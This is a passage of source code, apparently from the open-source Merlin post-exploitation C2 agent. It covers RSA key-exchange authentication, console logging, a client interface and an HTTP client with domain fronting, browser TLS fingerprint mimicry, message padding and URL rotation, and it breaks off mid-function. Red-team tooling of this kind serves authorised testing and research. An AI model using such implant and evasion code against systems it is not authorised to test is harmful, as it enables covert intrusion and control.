    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package rsa is an authenticator for Agent communications with the server using RSA key exchange\n// Primarily used with Mythic's HTTP profile\npackage rsa\n\nimport (\n\t// Standard\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\" // #nosec G505\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin Message\n\tmessages \"github.com/Ne0nd0g/merlin-message\"\n\trsa2 \"github.com/Ne0nd0g/merlin-message/rsa\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n)\n\n// Authenticator is a structure used for OPAQUE authentication\ntype Authenticator struct {\n\tagent         uuid.UUID      // agent is the Agent's unique ID\n\tauthenticated bool           // authenticated is a boolean value that determines if the Agent is authenticated\n\tkey           rsa.PrivateKey // key is the Agent's RSA private key\n\tsecret        []byte         // The encryption key derived during the Agent authentication process\n\tsession       string         // The session ID used for the current authentication process\n}\n\n// New returns an RSA Authenticator structure used for Agent authentication\nfunc New(id uuid.UUID, key rsa.PrivateKey) *Authenticator {\n\treturn &Authenticator{\n\t\tagent:   id,\n\t\tkey:     key,\n\t\tsession: core.RandStringBytesMaskImprSrc(20),\n\t}\n}\n\n// Authenticate performs the necessary steps to authenticate the agent, returning one or more Base messages needed\n// to complete authentication. Function must take in a Base message for when the authentication process takes more\n// than one step.\nfunc (a *Authenticator) Authenticate(msg messages.Base) (messages.Base, bool, error) {\n\tif msg.Type == messages.KEYEXCHANGE {\n\t\tp := msg.Payload.(rsa2.Response)\n\t\tif p.SessionID != a.session {\n\t\t\treturn messages.Base{}, false, fmt.Errorf(\"invalid RSA session ID '%s', expecting '%s'\", p.SessionID, a.session)\n\t\t}\n\n\t\t// Base64 decode the session key\n\t\tkey, err := base64.StdEncoding.DecodeString(p.SessionKey)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error Base64 decoding the RSA session key:\\n%s\", err)\n\t\t\treturn messages.Base{}, false, err\n\t\t}\n\n\t\t// Decrypt with an RSA private key and update the authenticator's secret key to use this session key\n\t\thash := sha1.New() // #nosec G401\n\t\ta.secret, err = rsa.DecryptOAEP(hash, rand.Reader, &a.key, key, nil)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"there was an error decrypting the returned RSA session key:\\n%s\", err)\n\t\t\treturn messages.Base{}, false, err\n\t\t}\n\n\t\ta.authenticated = true\n\n\t\t// Mythic returns a new UUID for authenticated Agents\n\t\tm := messages.Base{\n\t\t\tID: uuid.MustParse(p.ID),\n\t\t}\n\t\treturn m, a.authenticated, nil\n\t}\n\n\t// RSA Key Exchange\n\trsaRequest := rsa2.Request{\n\t\tAction:    \"staging_rsa\", // Specific to Mythic\n\t\tPubKey:    base64.StdEncoding.EncodeToString(x509.MarshalPKCS1PublicKey(&a.key.PublicKey)),\n\t\tSessionID: a.session,\n\t}\n\n\t// Merlin Base message\n\tbase := messages.Base{\n\t\tID:      a.agent,\n\t\tType:    messages.KEYEXCHANGE,\n\t\tPayload: rsaRequest,\n\t}\n\treturn base, a.authenticated, nil\n}\n\n// Secret returns encryption keys derived during the Agent authentication process (if applicable)\nfunc (a *Authenticator) Secret() ([]byte, error) {\n\tif !a.authenticated {\n\t\treturn nil, fmt.Errorf(\"agent is not authenticated\")\n\t}\n\treturn a.secret, nil\n}\n\n// String returns a string representation of the Authenticator's type\nfunc (a *Authenticator) String() string {\n\treturn \"RSA\"\n}\n"
  },
  {
    "path": "cli/cli.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage cli\n\nimport (\n\t// 3rd Party\n\t\"github.com/fatih/color\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n)\n\nconst (\n\t// INFO is used to print informational messages to STDOUT with \"[i]\"\n\tINFO = 1\n\t// NOTE is used to print verbose or non-sensitive messages to STDOUT with \"[-]\"\n\tNOTE = 2\n\t// WARN is used to print error messages or other failures to STDOUT with \"[!]\"\n\tWARN = 3\n\t// DEBUG is used to print debugging messages to STDOUT with \"[DEBUG]\"\n\tDEBUG = 4\n\t// SUCCESS is used to print successful or important messages to STDOUT with \"[+]\"\n\tSUCCESS = 5\n)\n\n// Message is used to print text to Standard Out\nfunc Message(level int, message string) {\n\tif core.Verbose == false && core.Debug == false {\n\t\treturn\n\t}\n\tswitch level {\n\tcase INFO:\n\t\tif core.Verbose {\n\t\t\tcore.Mutex.Lock()\n\t\t\tcolor.Cyan(\"[i]\" + message)\n\t\t\tcore.Mutex.Unlock()\n\t\t}\n\tcase NOTE:\n\t\tif core.Verbose {\n\t\t\tcore.Mutex.Lock()\n\t\t\tcolor.Yellow(\"[-]\" + message)\n\t\t\tcore.Mutex.Unlock()\n\t\t}\n\tcase WARN:\n\t\tif core.Verbose {\n\t\t\tcore.Mutex.Lock()\n\t\t\tcolor.Red(\"[!]\" + message)\n\t\t\tcore.Mutex.Unlock()\n\t\t}\n\tcase DEBUG:\n\t\tif core.Debug {\n\t\t\tcore.Mutex.Lock()\n\t\t\tcolor.Red(\"[DEBUG]\" + message)\n\t\t\tcore.Mutex.Unlock()\n\t\t}\n\tcase SUCCESS:\n\t\tif core.Verbose {\n\t\t\tcore.Mutex.Lock()\n\t\t\tcolor.Green(\"[+]\" + message)\n\t\t\tcore.Mutex.Unlock()\n\t\t}\n\tdefault:\n\t\tif core.Verbose {\n\t\t\tcore.Mutex.Lock()\n\t\t\tcolor.Red(\"[_-_]Invalid message level: \" + message)\n\t\t\tcore.Mutex.Unlock()\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "clients/clients.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package clients holds the interface for network communications\npackage clients\n\nimport (\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n)\n\n// Client is an interface definition a client must implement to interact with a remote server\ntype Client interface {\n\t// Authenticate executes the configured authentication method sending the necessary messages to the server to\n\t// complete authentication. Function takes in a Base message for when the server returns information to continue the\n\t// process or needs to re-authenticate.\n\tAuthenticate(msg messages.Base) error\n\t// Get retrieve's a client's configured option\n\tGet(key string) string\n\t// Initial contains all the steps the agent and/or the communication profile need to take to set up and initiate\n\t// communication with server\n\tInitial() error\n\t// Listen is used by synchronous Agents to consistently listen for new incoming messages that aren't the result of a check in\n\tListen() ([]messages.Base, error)\n\t// Send takes in a Base message, transforms it according to the configured encoders/encrypters, and sends the message\n\t// at the infrastructure layer according to the client's protocol\n\tSend(base messages.Base) ([]messages.Base, error)\n\t// Set updates a client's configured options\n\tSet(key string, value string) error\n\t// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n\t// can be sent/received.\n\tSynchronous() bool\n}\n"
  },
  {
    "path": "clients/http/http.go",
    "content": "//go:build http || http1 || http2 || http3 || winhttp || mythic || !(smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package http implements the Client interface and contains the structures and functions to communicate to the Merlin\n// server over the HTTP protocol\npackage http\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"io\"\n\t\"math/rand\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/go-jose/go-jose/v3\"\n\t\"github.com/go-jose/go-jose/v3/jwt\"\n\t\"github.com/google/uuid\"\n\n\t// Merlin Message\n\t\"github.com/Ne0nd0g/merlin-message\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/authenticators/none\"\n\toAuth \"github.com/Ne0nd0g/merlin-agent/v2/authenticators/opaque\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/clients/memory\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\tmerlinHTTP \"github.com/Ne0nd0g/merlin-agent/v2/http\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/services/p2p\"\n\ttransformer \"github.com/Ne0nd0g/merlin-agent/v2/transformers\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/base64\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/gob\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encoders/hex\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/aes\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/jwe\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/rc4\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/transformers/encrypters/xor\"\n)\n\n// Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server\ntype Client struct {\n\tAuthenticator authenticators.Authenticator\n\tauthenticated bool              // authenticated tracks if the Agent has successfully authenticated\n\tClient        merlinHTTP.Client // Client to send messages with\n\tClientType    merlinHTTP.Type\n\tProtocol      string                    // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse)\n\tURL           []string                  // A slice of URLs to send messages to (e.g., https://127.0.0.1:443/test.php)\n\tHost          string                    // HTTP Host header value\n\tProxy         string                    // Proxy string\n\tProxyUser     string                    // ProxyUser string\n\tProxyPass     string                    // ProxyPass string\n\tJWT           string                    // JSON Web Token for authorization\n\tHeaders       map[string]string         // Additional HTTP headers to add to the request\n\tsecret        []byte                    // The secret key used to encrypt communications\n\tUserAgent     string                    // HTTP User-Agent value\n\tPaddingMax    int                       // PaddingMax is the maximum size allowed for a randomly selected message padding length\n\tParrot        string                    // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser\n\tJA3           string                    // JA3 is a string that represents how the TLS client should be configured, if applicable\n\tpsk           string                    // psk is the Pre-Shared Key secret the agent will use to start authentication\n\tAgentID       uuid.UUID                 // AgentID the Agent's unique identifier\n\tcurrentURL    int                       // the current URL the agent is communicating with\n\ttransformers  []transformer.Transformer // Transformers an ordered list of transforms (encoding/encryption) to apply when constructing a message\n\tinsecureTLS   bool                      // insecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false\n\tsync.Mutex\n}\n\n// Config is a structure used to pass in all necessary information to instantiate a new Client\ntype Config struct {\n\tAgentID      uuid.UUID // AgentID the Agent's UUID\n\tProtocol     string    // Protocol contains the transportation protocol the agent is using (i.e., http2 or smb-reverse)\n\tHost         string    // Host is used with the HTTP Host header for Domain Fronting activities\n\tHeaders      string    // Headers is a new-line separated string of additional HTTP headers to add to client requests\n\tURL          []string  // URL is the protocol, domain, and page that the agent will communicate with (e.g., https://google.com/test.aspx)\n\tProxy        string    // Proxy is the URL of the proxy that all traffic needs to go through, if applicable\n\tProxyUser    string    // ProxyUser is the username for the proxy, if applicable\n\tProxyPass    string    // ProxyPass is the password for the proxy, if applicable\n\tUserAgent    string    // UserAgent is the HTTP User-Agent header string that Agent will use while sending traffic\n\tParrot       string    // Parrot is a feature of the github.com/refraction-networking/utls to mimic a specific browser\n\tPSK          string    // PSK is the Pre-Shared Key secret the agent will use to start authentication\n\tJA3          string    // JA3 is a string that represents how the TLS client should be configured, if applicable\n\tPadding      string    // Padding is the max amount of data that will be randomly selected and appended to every message\n\tAuthPackage  string    // AuthPackage is the type of authentication the agent should use when communicating with the server\n\tOpaque       []byte    // Opaque is the byte representation of the EnvU object used with the OPAQUE protocol (future use)\n\tTransformers string    // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message\n\tInsecureTLS  bool      // InsecureTLS is a boolean that determines if the InsecureSkipVerify flag is set to true or false\n\tClientType   string    // ClientType is the type of WINDOWS http client to use (e.g., WinINet, WinHTTP, etc.)\n}\n\n// New instantiates and returns a Client constructed from the passed in Config\nfunc New(config Config) (*Client, error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.http.New()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Config: %+v\", config))\n\tclient := Client{\n\t\tAgentID:     config.AgentID,\n\t\tURL:         config.URL,\n\t\tUserAgent:   config.UserAgent,\n\t\tHost:        config.Host,\n\t\tProtocol:    config.Protocol,\n\t\tProxy:       config.Proxy,\n\t\tJA3:         config.JA3,\n\t\tParrot:      config.Parrot,\n\t\tpsk:         config.PSK,\n\t\tinsecureTLS: config.InsecureTLS,\n\t\tProxyUser:   config.ProxyUser,\n\t\tProxyPass:   config.ProxyPass,\n\t}\n\n\t// Authenticator\n\tswitch strings.ToLower(config.AuthPackage) {\n\tcase \"none\":\n\t\tclient.Authenticator = none.New(config.AgentID)\n\tcase \"opaque\":\n\t\tclient.Authenticator = oAuth.New(config.AgentID)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"an authenticator must be provided (e.g., 'none' or 'opaque'\")\n\t}\n\n\t// Transformers\n\ttransforms := strings.Split(config.Transformers, \",\")\n\tfor _, transform := range transforms {\n\t\tvar t transformer.Transformer\n\t\tswitch strings.ToLower(transform) {\n\t\tcase \"aes\":\n\t\t\tt = aes.NewEncrypter()\n\t\tcase \"base64-byte\":\n\t\t\tt = base64.NewEncoder(base64.BYTE)\n\t\tcase \"base64-string\":\n\t\t\tt = base64.NewEncoder(base64.STRING)\n\t\tcase \"gob-base\":\n\t\t\tt = gob.NewEncoder(gob.BASE)\n\t\tcase \"gob-string\":\n\t\t\tt = gob.NewEncoder(gob.STRING)\n\t\tcase \"hex-byte\":\n\t\t\tt = hex.NewEncoder(hex.BYTE)\n\t\tcase \"hex-string\":\n\t\t\tt = hex.NewEncoder(hex.STRING)\n\t\tcase \"jwe\":\n\t\t\tt = jwe.NewEncrypter()\n\t\tcase \"rc4\":\n\t\t\tt = rc4.NewEncrypter()\n\t\tcase \"xor\":\n\t\t\tt = xor.NewEncrypter()\n\t\tdefault:\n\t\t\terr := fmt.Errorf(\"clients/http.New(): unhandled transform type: %s\", transform)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tclient.transformers = append(client.transformers, t)\n\t}\n\n\t// Set secret for JWT and JWE encryption key from PSK\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.secret = k[:]\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client PSK: %s\", client.psk))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client Secret: %x\", client.secret))\n\n\t//Convert Padding from string to an integer\n\tvar err error\n\tif config.Padding != \"\" {\n\t\tclient.PaddingMax, err = strconv.Atoi(config.Padding)\n\t\tif err != nil {\n\t\t\treturn &client, fmt.Errorf(\"there was an error converting the padding max to an integer:\\r\\n%s\", err)\n\t\t}\n\t} else {\n\t\tclient.PaddingMax = 0\n\t}\n\n\t// Parse additional HTTP Headers\n\tif config.Headers != \"\" {\n\t\tclient.Headers = make(map[string]string)\n\t\tfor _, header := range strings.Split(config.Headers, \"\\n\") {\n\t\t\th := strings.Split(header, \":\")\n\t\t\tif len(h) < 2 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"unable to parse HTTP header: '%s'\", header))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Remove leading or trailing spaces\n\t\t\theaderKey := strings.TrimSuffix(strings.TrimPrefix(h[0], \" \"), \" \")\n\t\t\theaderValue := strings.TrimSuffix(strings.TrimPrefix(h[1], \" \"), \" \")\n\t\t\tcli.Message(\n\t\t\t\tcli.DEBUG,\n\t\t\t\tfmt.Sprintf(\"HTTP Header (%d): %s, Value (%d): %s\\n\",\n\t\t\t\t\tlen(headerKey),\n\t\t\t\t\theaderKey,\n\t\t\t\t\tlen(headerValue),\n\t\t\t\t\theaderValue,\n\t\t\t\t),\n\t\t\t)\n\t\t\tclient.Headers[headerKey] = headerValue\n\t\t}\n\t}\n\n\t// Determine the HTTP client type\n\tif client.Protocol == \"http\" || client.Protocol == \"https\" {\n\t\tif config.ClientType == strings.ToLower(\"winhttp\") {\n\t\t\tclient.ClientType = merlinHTTP.WINHTTP\n\t\t} else if config.ClientType == strings.ToLower(\"wininet\") {\n\t\t\tclient.ClientType = merlinHTTP.WININET\n\t\t} else {\n\t\t\tclient.ClientType = merlinHTTP.HTTP\n\t\t}\n\t}\n\n\tif client.Protocol == \"h2\" || client.Protocol == \"h2c\" {\n\t\tclient.ClientType = merlinHTTP.HTTP2\n\t}\n\n\tif client.Protocol == \"http3\" {\n\t\tclient.ClientType = merlinHTTP.HTTP3\n\t}\n\n\t// If JA3 or Parrot was set, override the client type forcing HTTP/1.1 using the uTLS client\n\tif client.JA3 != \"\" {\n\t\tclient.ClientType = merlinHTTP.JA3\n\t} else if client.Parrot != \"\" {\n\t\tclient.ClientType = merlinHTTP.PARROT\n\t}\n\n\t// Build HTTP client config\n\thttpConfig := merlinHTTP.Config{\n\t\tClientType: client.ClientType,\n\t\tInsecure:   client.insecureTLS,\n\t\tJA3:        client.JA3,\n\t\tParrot:     client.Parrot,\n\t\tProtocol:   client.Protocol,\n\t\tProxyURL:   client.Proxy,\n\t\tProxyUser:  client.ProxyUser,\n\t\tProxyPass:  client.ProxyPass,\n\t}\n\n\t// Get the HTTP client\n\tclient.Client, err = merlinHTTP.NewHTTPClient(httpConfig)\n\tif err != nil {\n\t\treturn &client, err\n\t}\n\n\tcli.Message(cli.INFO, \"Client information:\")\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tProtocol: %s\", client.Protocol))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tHTTP Client Type: %s\", client.ClientType))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAuthenticator: %s\", client.Authenticator))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tTransforms: %+v\", client.transformers))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tURL: %v\", client.URL))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tUser-Agent: %s\", client.UserAgent))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tHTTP Host Header: %s\", client.Host))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tHTTP Headers: %s\", client.Headers))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tProxy: %s\", client.Proxy))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tPayload Padding Max: %d\", client.PaddingMax))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tJA3 String: %s\", client.JA3))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tParrot String: %s\", client.Parrot))\n\n\t// Add the client to the repository\n\tmemory.NewRepository().Add(&client)\n\n\treturn &client, nil\n}\n\n// getJWT is used to generate unauthenticated JWTs before the Agent successfully authenticates to the server\nfunc (client *Client) getJWT() (string, error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.http.getJWT()...\")\n\t// Agent generated JWT will always use the PSK\n\t// Server later signs and returns JWTs\n\n\tkey := sha256.Sum256([]byte(client.psk))\n\n\t// Create encrypter\n\tencrypter, encErr := jose.NewEncrypter(jose.A256GCM,\n\t\tjose.Recipient{\n\t\t\tAlgorithm: jose.DIRECT, // Doesn't create a per-message key\n\t\t\tKey:       key[:]},\n\t\t(&jose.EncrypterOptions{}).WithType(\"JWT\").WithContentType(\"JWT\"))\n\tif encErr != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error creating the JWT encryptor:\\r\\n%s\", encErr.Error())\n\t}\n\n\t// Create signer\n\tsigner, errSigner := jose.NewSigner(jose.SigningKey{\n\t\tAlgorithm: jose.HS256,\n\t\tKey:       key[:]},\n\t\t(&jose.SignerOptions{}).WithType(\"JWT\"))\n\tif errSigner != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error creating the JWT signer:\\r\\n%s\", errSigner.Error())\n\t}\n\n\t// Build JWT claims\n\tcl := jwt.Claims{\n\t\tExpiry:   jwt.NewNumericDate(time.Now().UTC().Add(time.Second * 10)),\n\t\tIssuedAt: jwt.NewNumericDate(time.Now().UTC()),\n\t\tID:       client.AgentID.String(),\n\t}\n\n\tagentJWT, err := jwt.SignedAndEncrypted(signer, encrypter).Claims(cl).CompactSerialize()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error serializing the JWT:\\r\\n%s\", err)\n\t}\n\n\t// Parse it to check for errors\n\t_, errParse := jwt.ParseSignedAndEncrypted(agentJWT)\n\tif errParse != nil {\n\t\treturn \"\", fmt.Errorf(\"there was an error parsing the encrypted JWT:\\r\\n%s\", errParse.Error())\n\t}\n\n\treturn agentJWT, nil\n}\n\n// Listen waits for incoming data on an established connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\terr = fmt.Errorf(\"clients/http.Listen(): the HTTP client does not support the Listen function\")\n\treturn\n}\n\nfunc (client *Client) proxy() (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.proxy(): Sending CONNECT request to proxy: %s\", client.Proxy))\n\tfmt.Printf(\"clients/http.proxy(): client.URL: %+v\\n\", client.URL[client.currentURL])\n\n\treq, err := http.NewRequest(\"CONNECT\", client.URL[client.currentURL], nil)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error building the HTTP CONNECT request: %s\", err)\n\t\treturn\n\t}\n\n\tvar resp *http.Response\n\tresp, err = client.Client.Do(req)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error sending the HTTP CONNECT request: %s\", err)\n\t\treturn\n\t}\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.proxy(): HTTP CONNECT response: %+v\", resp))\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, and sends it to the server.\n// The function also decodes and decrypts response messages and returns a Merlin message structure.\n// This is where the client's logic is for communicating with the server.\nfunc (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Send(): Entering into function with message: %+v\", m))\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending %s message to %s\", m.Type, client.URL[client.currentURL]))\n\n\t// Set the message padding\n\tif client.PaddingMax > 0 {\n\t\t// #nosec G404 -- Random number does not impact security\n\t\tm.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.PaddingMax))\n\t}\n\n\t// Construct the message running it through all the configured transforms\n\tdata, err := client.Construct(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/http.Send(): there was an error constructing the message: %s\", err)\n\t\treturn\n\t}\n\n\t// Build the POST request\n\treq, reqErr := http.NewRequest(\"POST\", client.URL[client.currentURL], bytes.NewReader(data))\n\tif reqErr != nil {\n\t\terr = fmt.Errorf(\"there was an error building the HTTP request:\\r\\n%s\", reqErr.Error())\n\t\treturn\n\t}\n\n\tif req != nil {\n\t\treq.Header.Set(\"User-Agent\", client.UserAgent)\n\t\treq.Header.Set(\"Content-Type\", \"application/octet-stream; charset=utf-8\")\n\t\treq.Header.Set(\"Authorization\", fmt.Sprintf(\"Bearer %s\", client.JWT))\n\t\tif client.Host != \"\" {\n\t\t\treq.Host = client.Host\n\t\t}\n\t}\n\tfor header, value := range client.Headers {\n\t\treq.Header.Set(header, value)\n\t}\n\n\t// Send the request\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Sending POST request size: %d to: %s\", req.ContentLength, client.URL[client.currentURL]))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"HTTP Request:\\r\\n%+v\", req))\n\tresp, err := client.Client.Do(req)\n\n\t// Must rotate URL before error check to keep the URL from getting stuck on the same server\n\tif client.Authenticator.String() == \"OPAQUE\" && len(client.secret) != 64 {\n\t\t// Don't rotate URL until OPAQUE registration/authentication is complete\n\t\t// AES PSK is 32-bytes but OPAQUE PSK is 64-bytes\n\t\t// Don't do anything\n\t} else if len(client.URL) > 1 {\n\t\t// Randomly rotate URL for the NEXT request\n\t\tclient.currentURL = rand.Intn(len(client.URL)) // #nosec G404 random number is not used for secrets\n\n\t\t// Sequentially rotate URL for the NEXT request\n\t\t//if client.currentURL < (len(client.URL) - 1) {\n\t\t//\tclient.currentURL++\n\t\t//}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.Send(): Rotating URL to: %s\", client.URL[client.currentURL]))\n\t}\n\n\tif err != nil {\n\t\t// Handle HTTP3 Errors\n\t\tif client.Protocol == \"http3\" {\n\t\t\te := \"\"\n\t\t\tn := false\n\n\t\t\t// Application error 0x0 is typically the result of the server sending a CONNECTION_CLOSE frame\n\t\t\tif strings.Contains(err.Error(), \"Application error 0x0\") {\n\t\t\t\tn = true\n\t\t\t\te = \"Building new HTTP/3 client because received QUIC CONNECTION_CLOSE frame with NO_ERROR transport error code\"\n\t\t\t}\n\n\t\t\t// Handshake timeout happens when a new client was not able to reach the server and set up a crypto handshake for the first time (no listener or no access)\n\t\t\tif strings.Contains(err.Error(), \"NO_ERROR: Handshake did not complete in time\") {\n\t\t\t\tn = true\n\t\t\t\te = \"Building new HTTP/3 client because QUIC HandshakeTimeout reached\"\n\t\t\t}\n\n\t\t\t// No recent network activity happens when a PING timeout occurs.\n\t\t\t// KeepAlive setting can be used to prevent MaxIdleTimeout.\n\t\t\t// When the client has previously established a crypto handshake, but does not hear back from its PING frame,\n\t\t\t// the server within the client's MaxIdleTimeout.\n\t\t\t// Typically, it happens when the Merlin Server application is killed/quit without sending a\n\t\t\t// CONNECTION_CLOSE frame from stopping the listener.\n\t\t\tif strings.Contains(err.Error(), \"NO_ERROR: No recent network activity\") {\n\t\t\t\tn = true\n\t\t\t\te = \"Building new HTTP/3 client because QUIC MaxIdleTimeout reached\"\n\t\t\t}\n\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"HTTP/3 error: %s\", err.Error()))\n\n\t\t\tif n {\n\t\t\t\tcli.Message(cli.NOTE, e)\n\t\t\t\tvar errClient error\n\t\t\t\t// Build HTTP client config\n\t\t\t\thttpConfig := merlinHTTP.Config{\n\t\t\t\t\tClientType: client.ClientType,\n\t\t\t\t\tInsecure:   client.insecureTLS,\n\t\t\t\t\tJA3:        client.JA3,\n\t\t\t\t\tParrot:     client.Parrot,\n\t\t\t\t\tProtocol:   client.Protocol,\n\t\t\t\t\tProxyURL:   client.Proxy,\n\t\t\t\t\tProxyUser:  client.ProxyUser,\n\t\t\t\t\tProxyPass:  client.ProxyPass,\n\t\t\t\t}\n\t\t\t\tclient.Client, errClient = merlinHTTP.NewHTTPClient(httpConfig)\n\t\t\t\tif errClient != nil {\n\t\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"there was an error getting a new HTTP/3 client: %s\", errClient.Error()))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\terr = fmt.Errorf(\"there was an error with the http client while performing a POST:\\r\\n%s\", err.Error())\n\t\treturn\n\t}\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"HTTP Response:\\r\\n%+v\", resp))\n\n\tswitch resp.StatusCode {\n\tcase 200:\n\t\tbreak\n\tcase 401:\n\t\tcli.Message(cli.NOTE, \"Server returned a 401, generating JWT with PSK and trying again...\")\n\t\tclient.JWT, err = client.getJWT()\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/http.Send(): there was an error generating a self-signed JWT: %s\", err))\n\t\t}\n\t\treturn\n\tcase 407:\n\t\tcli.Message(cli.NOTE, \"Server returned a 407 - Proxy Authentication Required, trying again...\")\n\t\tcli.Message(cli.DEBUG, 